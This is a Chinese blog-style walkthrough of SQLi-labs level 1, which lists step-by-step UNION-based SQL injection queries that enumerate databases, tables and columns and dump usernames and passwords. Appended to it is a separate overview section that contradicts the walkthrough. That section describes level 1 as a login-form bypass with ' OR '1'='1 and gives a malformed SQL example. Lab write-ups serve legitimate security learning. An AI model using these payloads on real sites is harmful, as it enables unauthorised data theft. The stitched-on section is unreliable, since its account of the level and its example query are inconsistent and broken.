Sqlilab通关教程

第一关:基于单引号的字符型注入


目录

第一关:基于单引号的字符型注入

先进行输入参数?id=1' 出现报错说明发现注入点,判断该类型为字符注入


order by

判断数据库--表--表里面的数据的列进行排序(从1开始)

union select 1,2,3 --

判断数据显示点

select system_user()

显示系统用户

select version()

显示版本信息

select @@datadir

数据库的安装路径

*查库: select schema_name from information_schema.schemata

*查表: select table_name from information_schema.tables where table_schema='security'

*查列: select column_name from information_schema.columns where table_name='users'

*查字段: select username,password from security.users

先进行输入参数?id=1' 出现报错说明发现注入点,判断该类型为字符注入

 用order by 语法进行二分法测试,发现order by 3回显正确,表明有三列

然后进行联合查询,来判断1,2,3列会回显那一列(注意id的之应该赋予一个不存在的值,来执行后面的联合语句来正确回显) 

结果可以知道

 

 (此处的2,3是指在limit命令下显示第一行2,3列的数据)

 

 因为知道password是在3处回显的,所以在3处进行回显语句查库

查库: 因为用limit 一个个筛查太慢,用group_concat()函数来查库的信息

 查表:注意(不推荐在=后面使用‘’,会引入单引号问题,建议使用十六进制)

 查列

 查字段   用到了一个concat_ws('~,A,B')进行username 和 password的拼接

 

### SQLi-Lab 解题思路及通关攻略 #### 实验室介绍 SQLi-Lab 是一个用于学习和实践 SQL 注入漏洞利用的在线平台。通过一系列挑战,参与者可以深入了解不同类型的 SQL 注入攻击及其防御方法。 #### 基础概念理解 为了成功完成 SQLi-Lab 的各个关卡,了解基本的 SQL 注入原理至关重要。SQL 注入是一种代码注入技术,攻击者可以通过该技术操纵数据库查询语句,在未经授权的情况下访问、修改甚至删除数据[^1]。 #### 关卡一:基础 GET 请求注入 此关的主要目标是在登录表单中输入特定字符串来绕过身份验证机制。尝试使用 `' OR '1'='1` 这样的条件表达式作为用户名或密码字段的内容,这会使得原本正常的 WHERE 子句变为永远成立的状态,从而实现未授权登录[^2]。 ```sql SELECT * FROM users WHERE username='' OR '1'='1 AND password='' OR '1'='1; ``` #### 关卡二:基于错误的信息泄露 当应用程序未能正确处理异常情况并返回详细的错误消息时,则可能暴露出有关后台数据库结构的重要线索。此时可利用这些信息进一步构建更复杂的注入载荷。例如,向 URL 参数附加 `UNION SELECT NULL, table_name FROM information_schema.tables LIMIT 0,1--` 可能会让服务器响应显示出某个存在的表名[^3]。 #### 高级技巧应用 随着难度增加,简单的布尔盲注不再适用;这时就需要掌握时间延迟型(Time-based Blind Injection)、带外通道(Out-of-band OOB)以及其他高级手法。对于某些特殊场景下的测试点来说,巧妙运用函数如 SLEEP() 或 BENCHMARK() 能够帮助判断是否存在潜在的安全隐患[^4]。 #### 安全编码建议 除了熟悉各种攻击模式之外,更重要的是学会如何编写安全可靠的 Web 应用程序代码以防止此类威胁的发生。遵循最小权限原则、采用参数化查询接口以及定期审查第三方库都是有效措施之一[^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值